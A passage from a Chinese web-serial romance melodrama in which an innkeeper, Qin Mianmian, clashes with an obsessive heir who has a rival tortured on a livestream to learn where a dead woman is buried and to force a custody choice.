他深吸一口气,像是用尽了全身力气,颓然道:“你们刚才的对话,我都听到了。事实……就是那样。” 秦绵绵眉头紧皱。 “萧玦,你真是刷新了我对渣男的认知。”秦绵绵冷冷地看着他,“既然她已经不在了,你现在又对七妹母子演这出‘追妻火葬场’,不觉得恶心吗?你对得起照片上这个人吗?又对得起七妹吗?” 她扬了扬手中的照片:“放过朱七妹和小宝,给他们一条生路,让他们安安稳稳过日子。只要你答应从此不再打扰他们,这张照片,我还给你。” 萧玦闻言,脸上的痛苦和哀恸渐渐褪去,取而代之的是一片冰冷的讥诮。 他缓缓直起身子,虽然依旧坐在轮椅上,那股子属于上位者的压迫感却重新回到了他身上。 “秦绵绵,你以为你是谁?可以替他们做主?”萧玦冷笑一声,“萧家的子嗣,绝不可能流落在外。小宝是我的儿子,这一点,谁也改变不了。你逼急了,萧家的长辈为了血脉延续,甚至会做出‘去母留子’的事情,想必那样的场面,不是你希望看到的。” 秦绵绵脸色一变,她知道萧玦不是在危言耸听。那些顶层豪门为了子嗣,什么事情做不出来。 萧玦看着她变了的脸色,唇角的弧度更深了些,带着一丝残忍的快意:“另外,我再告诉你一件事。这张照片,除了我,还有一个人也非常在意。而且,那个人……还是你的老熟人。” “谁?” 萧玦一字一顿,清晰地吐出两个字:“姚、祁。” 说完,他竟不再索要照片,推着轮椅,头也不回地转身上了楼。 秦绵绵愣在原地,低头看着手中的照片,又想起姚祁那张痞气英俊的脸,一时间,有点乱。 这照片上的人,跟姚祁又有什么关系? 而且,听萧玦那意思,姚祁对这照片上的人,似乎也……很在意? 钱老先生在一旁也是眉头紧锁,沉吟道: “阿祁的事情,我不是很了解。” 姚祁虽然已经回归钱家,但钱老先生对他的了解确实不算多。 秦绵绵深吸一口气,将纷乱的思绪压下。 “钱老,您先歇着,这事我得弄清楚。”她说着,拿出手机,对着那张旧照片拍了张清晰的图,直接发给了盛意。 附带消息:“帮我查查照片上这个女孩的底细,越详细越好。另外,她和姚祁可能有什么关联。” 盛意那边秒回:“收到!” 秦绵绵抬头看向二楼萧玦房间的方向,眼神复杂。 而此时,萧玦的房间内,却是一片阴冷。 窗帘拉得严严实实,只留电脑屏幕的光幽幽地照着他苍白而阴沉的脸。 屏幕上,是一个视频通话界面。 对面的人影在昏暗的背景下显得模糊,但姿态却异常恭敬。 萧玦的指尖在轮椅扶手上轻轻敲击着,发出规律的轻响,他盯着屏幕,声音没有一丝温度:“姚祁那边怎么样了?” 对面的人迟疑了片刻:“……还是老样子,嘴硬得很。用了些手段,但他什么都不肯说。” 第231章 埋葬之地 萧玦的声音透过电流,带着一股子不耐烦,“废物。” 屏幕对面人影瑟缩了一下,声音带着畏惧:“姚祁他……他嘴太硬了。各种法子都试过了,新伤叠旧伤,浑身没几块好皮,可他……还是一口咬定什么都不知道。” “人呢?” 画面微微晃动,镜头被调整了一下,对上一个蜷缩在角落的身影。 男人浑身血迹斑斑,头发被汗水和血水浸湿,黏在额头上,狼狈不堪。 即便如此,那身影在察觉到镜头的注视时,还是努力地抬了抬头,露出一张虽然青肿却依旧带着几分桀骜的脸。 正是姚祁。 他身上穿着单薄的衣服,早已被鞭痕和血污浸透,手腕和脚踝处有深色的勒痕,显然是遭受了非人的折磨。 新添的伤口狰狞外翻,与旧日的疤痕交错,触目惊心。 “姚祁,”萧玦的声音如同淬了冰,“你姐姐的遗体,究竟在哪里?别跟我耍花样,我的耐心有限。” 姚祁虚弱地喘息了几下,费力地扯了扯嘴角,露出一抹讥讽的笑:“萧玦……咳咳……你就是把我这点骨头拆了……我也不知道……” 他说话断断续续,每吐出一个字都像耗尽了全身的力气。 萧玦的指尖在轮椅扶手上敲击的动作停了下来,眼底的阴鸷愈发浓重。 忽然,姚祁却像是察觉到了什么,他眯起那双肿得只剩一条缝的眼睛,死死盯着视频中萧玦身后的背景。 虽然模糊,但这个地方的细节他却十分熟悉。 那是……客栈的窗棂样式? 还有那墙壁的颜色…… 萧玦是在秦绵绵的客栈里! “萧玦!”姚祁的声音陡然拔高,瞪大眼睛,“你在客栈?!你不是答应过我,不动她的吗?!” 他挣扎着想要坐直身体,却牵动了满身的伤口,疼得倒抽一口冷气,额上青筋暴起。 然而,萧玦的表情在姚祁吼出这句话的瞬间,却僵硬了一瞬,尽管极快地掩饰了过去,但那细微的不自然还是没有逃过姚祁的眼睛。 不仅是他,连带着萧玦身边那些垂手侍立的手下,表情也出现了一丝微妙的古怪。 姚祁是何等聪明的人,只这一刹那的异样,便让他捕捉到了关键。 他先是一愣,随即,那张惨不忍睹的脸上,竟然爆发出了一阵狂放的大笑: “哈哈……哈哈哈哈!萧玦!你他妈的……你也有今天!你是不是……是不是在秦绵绵手上吃瘪了?!” “掌柜的……好样的!哈哈!我就知道你不是那么好对付的!萧玦,你以为你是谁?太子爷?在秦绵绵面前,你算个屁!” 姚祁笑得眼泪都出来了,混杂着血水,更显狰狞。 “萧公子,你看看你现在这副鬼样子,是不是被她收拾得服服帖帖了?活该!真是活该啊!” 萧玦的脸色铁青,握着扶手的手背上青筋凸起,眼底的杀意几乎要凝成实质。 姚祁笑够了,脸上的表情却骤然一变,那股子痞气和狠劲再次浮现,眼神冰冷得像淬了毒的刀子: “萧玦,我告诉你,我姐姐的骨灰早就被我扬了!撒进大海了!你这辈子,下辈子,都休想再见到她!你死了这条心吧!” “你找死!”萧玦低吼一声,猛地切断了视频通话。 房间内,电脑屏幕暗了下去,只剩下萧玦粗重的喘息声。 他胸膛剧烈起伏,额角渗出的汗珠沿着苍白的脸颊滑落,那双阴鸷的眸子里,翻涌着暴怒和一种难以言说的挫败。 与此同时,客栈一楼。 秦绵绵的手机“叮咚”一声,提示收到了新消息。 她划开屏幕,是盛意发来的邮件。 邮件内容简洁明了,附带着几张补充的资料图片。 “秦小姐,照片上的女孩名叫岑小柔。根据初步调查,岑小柔早年居住在京城,家境似乎不错。大约十五年前,岑家突遭变故,家道中落,举家搬迁至海城临近的一个小城市。几年后,岑小柔父母意外双亡,她被送入了当地一家孤儿院。” “重点是,姚祁也曾在那家孤儿院待过。根据孤儿院的记录和一些老人的回忆,姚祁在孤儿院期间,与一个名叫岑小柔的女孩关系很好,情同姐弟。岑小柔比姚祁大三岁,一直很照顾他……” 秦绵绵看着屏幕上的文字,一张张翻阅着附带的资料,有岑小柔学生时代的登记照,还有一张孤儿院的旧合影。 照片上,一个瘦弱却刚劲的少年站在一个梳着马尾辫的女孩旁边,女孩脸上带着温柔的笑意,少年脸上带着古怪的别扭。 这是已经长成了的姚祁。 在被秦绵绵救助过后,他以自己的野草一般的韧劲在孤儿院活了下来,长大,并且强大起来。 这个叫岑小柔的女孩子,就是这个时候闯入他的生活的。 他们关系很好,情同姐弟,现在看起来,当时肯定也是姐弟相称了。 而姚祁说是来报恩自己,却从来没和自己提过这件事。 秦绵绵望着照片上的两个人,心里一时说不出是什么滋味。 半晌,秦绵绵长长地吐出一口气,心中的诸多疑团在这一刻豁然开朗。 难怪萧玦会对那张照片如此紧张,难怪萧玦说姚祁也会对那张照片很在意。 这个叫岑小柔的女孩子,是从未体会过亲情的少年姚祁认下的姐姐,同时也是萧玦的白月光。 “查到什么了?” 钱老先生凑过来,跟秦绵绵一起看。 但下面的文字就有点让人难受了。 邮件最后几行字,补充了岑小柔的结局。 “……根据零星的线索,岑小柔在几年前因病去世。丧事是姚祁一手操办的,但具体安葬在何处,目前未能查明。似乎姚祁刻意隐瞒了她的墓地信息。” 秦绵绵看到这里,指尖微微一顿,脑海中瞬间闪过萧玦发给她的那个视频。 视频里萧玦的手下对姚祁拳打脚踢,那个背景,似乎就是个墓园。 难道萧玦折磨姚祁,不是为了什么陈年旧事,而是为了得知岑小柔的埋葬之地? 第232章 我知道她葬在哪里 钱老先生也看完了邮件,眉头皱得更紧了: “这岑小柔,竟然是阿祁的姐姐……这孩子,从来没跟我提过。他只说在孤儿院受过一个姐姐的照顾,没想到……” 他叹了口气,“阿祁这小子,性子倔,认准的事情九头牛都拉不回来。岑小柔是他认定的亲人,他自然会拼了命去守护。萧玦想从他嘴里问出岑小柔的安葬之地,怕是难如登天。” 秦绵绵点点头,正沉思着,手机又震动了一下,一瞧,竟是姜敬意打来的电话。 “绵绵。我这边查到一些情况。罗小胖没什么事,他一直没有消息,只是被他爸妈看得死死的,在家里好吃好喝,就是不准出门,暂时没有危险。” “重点是姚祁,”姜敬意的声音沉了下来,“他失踪了。我找人查了监控,他最后出现的地方是京城西郊一个很偏僻的废弃墓园。那地方荒凉得很,平时根本没人去。” 秦绵绵的心一紧:“墓园?” “对。我亲自带人过去看过了,那墓园里大多是些无主的孤坟,没什么特别的。不过,其中有一座,看土质痕迹,像是最近被人动过,痕迹很明显。” 动过土的孤坟…… 秦绵绵的脑海中,岑小柔、姚祁、萧玦,这三个人的身影和那座孤坟的影像交织在一起,一个大胆的想法渐渐成形。 “我知道了。四叔你继续留意萧家和姚祁的动向,有任何消息立刻通知我。同时也要注意安全。” 姜敬意打了个哈哈,挂掉了电话。 钱老先生在一旁听了个大概,忧心忡忡:“丫头,这事越来越复杂了。萧家那小子本就偏执,现在为了个死去的人,竟然……” 秦绵绵沉默片刻,忽然抬起头,嘴角勾起一抹意味深长的笑:“钱老,有时候,死人比活人更有用。” 第二天一早,客栈的厨房里难得飘出了一阵清淡的粥香和精致小菜的香气。 新来的厨师战战兢兢地按照秦绵绵的吩咐,给二楼那位煞神准备了一份与往日“黑暗料理”截然不同的早餐——小米南瓜粥,配着几碟爽口的小菜,还有一笼白白胖胖的肉包子。 萧玦被轮椅推下来的时候,看到桌上那份正常的早餐,眉头几不可察地挑了一下。 他狐疑地看了一眼站在一旁的秦绵绵。 秦绵绵今天穿了件素净的棉布裙子,脸上带着浅淡的笑意,和平日里那副随时准备坑人的模样判若两人。 “萧先生,尝尝看,今天的早餐还合胃口吗?”她声音温和,仿佛之前的剑拔弩张都不曾存在。 萧玦没说话,只是拿起勺子,慢条斯理地尝了一口粥。味道确实不错,清淡养胃。 他放下勺子,冷眼看着秦绵绵:“无事献殷勤,非奸即盗。说吧,你又想耍什么花样?” 秦绵绵也不恼,施施然在他对面坐下,给自己也盛了碗粥。 “萧先生快人快语,那我也就不拐弯抹角了。”秦绵绵放下碗,目光清亮地看着他,“放了姚祁,也放过朱七妹母子,从此以后,和他们再无瓜葛。” 萧玦闻言,嗤笑一声,眼底的讥诮毫不掩饰:“秦绵绵,你凭什么跟我谈条件?” “就凭我知道,”秦绵绵一字一顿,清晰地说道,“岑小柔葬在哪里。” 萧玦端着粥碗的手猛地一僵,碗沿的粥水都晃荡了出来。 他骤然抬起头,那双阴鸷的眸子死死地盯住秦绵绵。 “你知道?”他声音沙哑,几乎是从牙缝里挤出来的。 秦绵绵脸上的笑意不变,甚至还带着几分悲天悯人的意味:“萧先生,逝者已矣,生者如斯。你这般执着,又是何苦呢?” 萧玦盯着秦绵绵,眯着眼睛:“秦小姐本事通天……查的可真是快。” 秦绵绵笑意灿烂:“也没什么了不起的,一点雕虫小技罢了。” 萧玦的呼吸明显粗重了几分,眼神复杂地在她脸上逡巡,似在判断她话里的真假。 他查了这么久,动用了萧家那么多人力物力,都未能找到岑小柔的安葬之地,姚祁那个硬骨头更是宁死不松口。 秦绵绵到底是怎么这么快就查到的? 但是看她这般笃定云淡风轻的样子,八成,是真的? 萧玦的坐着不动,思绪却不由自主地飘回到十多年前。 记忆里的白色连衣裙,明媚的笑容,雨后阳光一般的温柔。 都是他此生无法忘却的。 他,实在是太想念她了。 哪怕她已经不在人间了,他还是好想念好想念她,想日日夜夜时时刻刻陪伴她。 哪怕只是陪伴她的坟墓,也好。 可就是这么一点小小的愿望,他却很多年难以实现。 而此时此刻,眼前这个女人说,她知道她在哪。 萧玦动摇了。 就在萧玦薄唇微动,似乎要妥协的瞬间,他放在轮椅上的手机突兀地响了起来。 尖锐的铃声划破了餐厅里短暂的宁静。 萧玦蹙眉接通电话,语气不耐:“说。” 电话那头:“报告老板,找到朱小姐和小公子的行踪了。” 萧玦原本阴沉的脸色骤然一变。 “我马上过去!”萧玦挂断电话,“备车!去城郊西坪村!” 手下人不敢怠慢,立刻行动起来。 萧玦转动轮椅,看也不看秦绵绵,只冷冷丢下一句:“秦绵绵,我们的账,稍后再算!” 便要离开。 “哎,萧先生,这就要走了?”秦绵绵扬声道,“我们还没谈完呢。” “等我回来再说!”萧玦头也不回。 秦绵绵见状,眼神微凝,立刻起身想要跟上去。 她绝不能让萧玦轻易带走朱七妹母子。 “小秦丫头,别急。”忽然,一只苍劲的手按住了秦绵绵的肩膀。 秦绵绵回头,是钱老先生。 他不知何时已经站在了她身后,神色平静,眼神却带着洞悉一切的了然。 “钱老?” 钱老先生微微一笑,拍了拍她的肩:“海城到底是咱们老家,还能让他翻了天不成?萧家小子想在这里兴风作浪,也得问问我这把老骨头同不同意。” 第233章 扑空 他说着,不慌不忙地拿出手机,拨了几个号码,言简意赅地吩咐了几句。语气平淡,却自有一股不容置疑的威严。 “行了,丫头,安心等着看戏吧。” 钱老先生挂了电话,重新坐回桌边,慢悠悠地端起给他盛好的粥。 秦绵绵看着钱老先生那副成竹在胸的模样,心下稍安。 她知道钱老先生在海城的能量,他说行,那就是行的。 果不其然,萧玦前脚刚离开客栈,网络上关于“京城太子爷海城寻亲”的话题就以更猛烈的姿态爆了开来。 先前萧玦在客栈闹腾,消息虽然被压下去了,但总有些捕风捉影的传闻。 如今他大张旗鼓地带着人马直奔城郊,立刻就被嗅觉灵敏的网红主播们逮了个正着。 好几个不怕死的网红直接开了直播,远远地缀着萧玦的车队,标题起得一个比一个耸人听闻: #独家追踪!京城太子爷海城秘密行动,目标疑似曝光!# #豪门恩怨?神秘女子带球跑?太子爷千里追妻?# 秦绵绵笑着刷着这些直播间,选了个镜头最稳,离得最近的一个点了进去。 直播画面里,萧玦的车队在一片低矮破旧的城中村前停下。 那地方秦绵绵有些印象,是海城待拆迁的老区,鱼龙混杂,环境相当糟糕。 萧玦坐在轮椅上,由手下推着,脸色阴沉地带人闯进了一栋看起来摇摇欲坠的小楼。 主播的声音带着兴奋的颤抖:“家人们!看到了吗!太子爷进去了!这里面住的肯定就是那个神秘女人!” 弹幕瞬间刷屏: “快快快!镜头跟上啊!” “我赌五毛,肯定是找到了!” “这女的也太能藏了吧?居然躲在这种地方?” 秦绵绵也有些紧张地盯着屏幕。 然而,没过多久,就见萧玦的人马簇拥着他从那小楼里出来了。 萧玦的脸色比进去时更加难看,周身都散发着低气压,仿佛下一秒就要杀人。 主播也愣了:“呃……情况似乎有些不对啊……太子爷的表情……好像不太高兴?” 紧接着,就看到几个手下垂头丧气地跟在萧玦身后,其中一人还在小声汇报着什么。 虽然听不清具体内容,但从他们那副模样,秦绵绵也能猜到,萧玦扑了个空。 直播镜头努力拉近,对准了萧玦那张铁青的脸。 “人呢?”萧玦的声音透过微弱的收音传了过来,冰冷刺骨,“不是说就在这里吗?!” 一个手下战战兢兢地回答:“老……老板,我们找到的时候,人……人刚走,屋里茶水还是热的……就、就差那么一点点……” “废物!”萧玦低吼一声,猛地一挥手,将旁边一个破旧的杂物架扫翻在地,发出一声巨响。 直播间里一片哗然。 “我去!太子爷发飙了!” “白跑一趟?哈哈哈哈,笑死我了!” “这主播也是头铁,离这么近,不怕被打吗?” 秦绵绵看着屏幕里萧玦那副气急败坏却又无可奈何的模样,嘴角不由自主地勾起一抹浅笑。 看来,钱老先生的能量,果然还是大。 舆论是钱老先生煽动的,而朱七妹母子也是他提前探知,赶在萧玦前面接走的。 就比他快那么一点点。 看着屏幕里萧玦气急败坏的样子,秦绵绵笑的愈发灿烂了。 就在秦绵绵欣赏着萧玦吃瘪的表情,准备再截几张图发给姜敬意和盛意共赏时,客栈外,一辆毫不起眼的黑色小轿车悄无声息地停在了门口。 车门打开,钱老先生手下得力的保镖先一步下来,警惕地环顾四周,然后才拉开了后座的车门。 一个略显憔悴的女人抱着一个睡眼惺忪的孩子,从车上走了下来。 正是朱七妹和她的儿子。 秦绵绵放下手机,快步迎了上去,钱老先生也拄着拐杖,慢悠悠地跟在后面。 “七妹,先进来再说。”秦绵绵扶着朱七妹的胳膊,将她和小家伙带进了客栈。 朱小宝快速扑到秦绵绵怀里,高兴地喊了一声:“绵绵姨姨!” “哎,小宝乖。”秦绵绵摸了摸他的头,示意厨师赶紧准备些孩子吃的点心和热牛奶。 朱七妹的脸色不太好,眼下有着浓重的青黑,显然这几日东躲西藏,没能好好休息。 她看着秦绵绵,脸上带着几分愧疚和疲惫,比划起来: 【掌柜的,对不住,又给你添麻烦了。】 “说的什么话。”秦绵绵拉着她在临窗的桌边坐下,“先喝口水,缓缓神。到底怎么回事?萧玦的人不是说你带着小宝远走了吗?” 朱七妹接过秦绵绵递来的温水,捧在手心,长长地叹了口气: 【我本来是想带着小宝彻底离开海城的,走得远远的,让他再也找不到。】 【那天,我带他走之后,本来是想干脆一不做二不休,废了他……他毕竟是小宝的父亲,不能真的杀了他……】 朱七妹说到这里,苦笑了一下,【可真到了那个时候,看着他那张脸,我还是下不去手。然后他醒了,花言巧语地哄我,赌咒发誓,还说会好好对小宝……】 秦绵绵静静地看着她的手语,没有插话。 【我知道他的话不可信,可……】朱七妹的眼神黯淡下来,【可我还是动摇了那么一瞬间。最后,我只能趁他不备,把他打晕,然后带着小宝跑了出来。我以为他醒了之后,会立刻派人追查我的下落,会追出海城,没想到……他竟然又回了客栈。】 朱七妹脸上满是懊恼和自责:【都怪我,当时就该狠下心,不该给他任何机会。现在他守在客栈,反而让你也陷入了麻烦。掌柜的,我真是……】 “没事的,七妹。”秦绵绵安抚她,“萧玦那个人精明得很。他知道客栈是你和小宝在海城唯一的家,也知道你担心我,必然走不远。他守在这里,就是在等你自投罗网,或者逼我把你交出去。” 秦绵绵的眼神冷了冷:“他算盘打得倒是精。” 【……那现在怎么办?他肯定很快就会知道我回来了。】 第234章 选一个 秦绵绵握住朱七妹有些冰凉的手:“七妹,你一向是个爽利果敢的人。这件事拖泥带水,对你,对小宝,都没有好处。既然已经走到了这一步,就不要再犹疑了,当断则断。” 朱七妹看着秦绵绵,嘴唇动了动,似乎想说什么。 就在这时,秦绵绵放在桌上的手机屏幕骤然亮起,发出刺耳的视频通话请求铃声。 来电显示——萧玦。 秦绵绵挑了挑眉,看了一眼朱七妹,按下了接通键。 屏幕上立刻出现了萧玦那张阴沉得能滴出水的脸,背景晃动,显然他正在急速赶回来的车上。 “秦绵绵!”萧玦的声音像是从冰窖里捞出来的,带着浓浓的戾气,“七妹是不是回去你那里了?!” 萧玦留在客栈里的人效率也高,朱七妹母子刚到没多久,消息就已经传回萧玦耳中了。 “萧先生消息真是灵通。”秦绵绵语气平淡,甚至还带着一丝若有若无的笑意。 “少废话!”萧玦咬牙切齿,“看好她!她们母子要是再失踪,我可就真的不客气了。” 秦绵绵脸上的笑意不变:“萧先生,这你可就为难我了。七妹是自由身,她想去哪里,想做什么,我可做不了她的主。” 萧玦冷笑:“七妹最听你的话,只要你开口,她肯定乖乖等着我回去。” 秦绵绵端起桌上的茶杯,慢悠悠地抿了一口,才不紧不慢地反问:“哦?是吗?那……我要是不呢?” 电话那头的萧玦,呼吸猛地一滞。 他死死地盯着屏幕里的秦绵绵,眸子里闪过一丝阴鹫,随即勾起一抹残忍而得意的冷笑。 “既然秦小姐敬酒不吃吃罚酒,那也别怪我不客气了。” 说着,他手指在另一个设备上操作了几下。 秦绵绵的手机“叮”的一声,收到了一条新的消息。 是一个直播链接。 萧玦的声音带着一丝病态的愉悦:“秦小姐,不妨点开看看。” 秦绵绵点开了那个链接。 手机屏幕上,画面加载出来,映入眼帘的,是一个阴暗潮湿的密室。 姚祁被铁链锁在墙上,浑身是血,身上的衣服早已被撕裂浸透,露出道道深可见骨的鞭痕。 他低垂着头,头发凌乱地遮住了脸,生死不知。 而在他身旁,一个穿着黑衣的壮汉,手里正拿着一根闪着寒光的带刺铁鞭,狞笑着,高高扬起—— “秦绵绵,”萧玦的声音如同恶魔的低语,“姚祁的命,现在可就攥在你手里了。你是要他生,还是要他死,全凭你一句话。” 画面里,姚祁那张曾经带着几分桀骜和痞气的脸,此刻只剩下青紫和血污,唯有那双肿得几乎睁不开的眼睛,在察觉到秦绵绵的注视时,微微动了动。 “姚祁?”秦绵绵的声音有些干涩。 视频那头,姚祁似乎听到了她的声音,费力地抬了抬眼皮,目光涣散地在镜头前聚焦了片刻,然后,他扯出一个比哭还难看的笑容,声音沙哑得像是破旧的风箱: “掌柜的……让你见笑了……” 他每说一个字,嘴角都有血沫渗出,顺着下巴滴落。 秦绵绵暗暗咬了咬牙:“你怎么样,撑不撑得住。” “撑得住……咳……”姚祁喘息着,本来涣散的眼神里因为听到了秦绵绵的声音而带上了一丝神采。 原本萧玦都是暗地里折磨他的,今天不知道怎么回事,竟然直播给了秦绵绵。 姚祁想了想,立刻明白了过来。 “……别被他威胁……”他带血的薄唇笑了笑,“我也不是你什么人,不值得你为我……接受他的威胁……” 秦绵绵哑然。 她突然想起姚祁离开客栈前,曾三番四次想跟她说话,却因为她太了然,几次都故意拒绝了他。 导致他的话,到现在还没说出来。 虽然现在不是说这句话的时候,但他这句略带委屈的话,跟告白又有什么区别呢。 秦绵绵心里酸涩了一瞬。 “听到了吗,秦绵绵?”画面里,姚祁的声音突然拔高。 秦绵绵咬牙道:“你别说话了,坚持住,我一定会救你出来的。” 另一边,萧玦的声音带着病态的兴奋,像一条吐着信子的毒蛇: “哎呀,好一出情深大戏呀……秦绵绵,现在,我给你一个选择的机会。” 他让手下慢条斯理地调整了一下镜头,让姚祁的惨状更加清晰地展现在秦绵绵眼前。 “朱七妹母子,或者,姚祁。你选一个。你若选朱七妹,我现在就放了她们母子,保证她们下半辈子衣食无忧,再不打扰。你若选姚祁……就把七妹母子还给我。” 秦绵绵握着手机的指节因为用力而微微泛青。 朱七妹也看到了视频里的景象,她瞪大眼睛,咬着牙,但眼泪还是涌了出来。 “秦绵绵,我的耐心,是有限的。” 秦绵绵沉默了片刻,冷笑道:“萧玦,你以为用这种下三滥的手段,就能逼我就范?” “哦?看来秦小姐是想两个都保?”萧玦嗤笑一声,“可惜,你没这个本事!” 他对直播间的手下下了命令:“看来姚祁的骨头还是太硬了,给他松松!” 画面中,那个手持带刺铁鞭的壮汉狞笑一声,手臂肌肉虬结,猛地将鞭子高高扬起,然后狠狠地抽了下去! “啪——!” 一声令人牙酸的脆响,鞭子精准地落在了姚祁本就血肉模糊的后背上。 姚祁发出一声闷哼,身体剧烈地颤抖了一下,蜷缩得更紧了。鲜血瞬间从新的伤口涌出,将他破烂的衣衫浸染得更加深暗。 “姚祁!”秦绵绵厉声喝道。 “继续!”萧玦的声音冰冷而不带一丝感情。 第二鞭,第三鞭…… 鞭子裹着风声,一下下地抽在姚祁的身上,皮开肉绽的声音透过电流清晰地传了过来。姚祁死死咬着牙,喉咙里发出野兽受伤般的低吼,却始终没有吐出一个求饶的字眼。 鲜血飞溅,有些甚至溅到了镜头上,模糊了画面。 “萧玦!你给我住手!”秦绵绵的声音似乎因为愤怒而微微有些颤抖。 “选啊,秦绵绵。”萧玦欣赏着她的失态,语气越发得意,“很简单的一个选择题,不是吗?”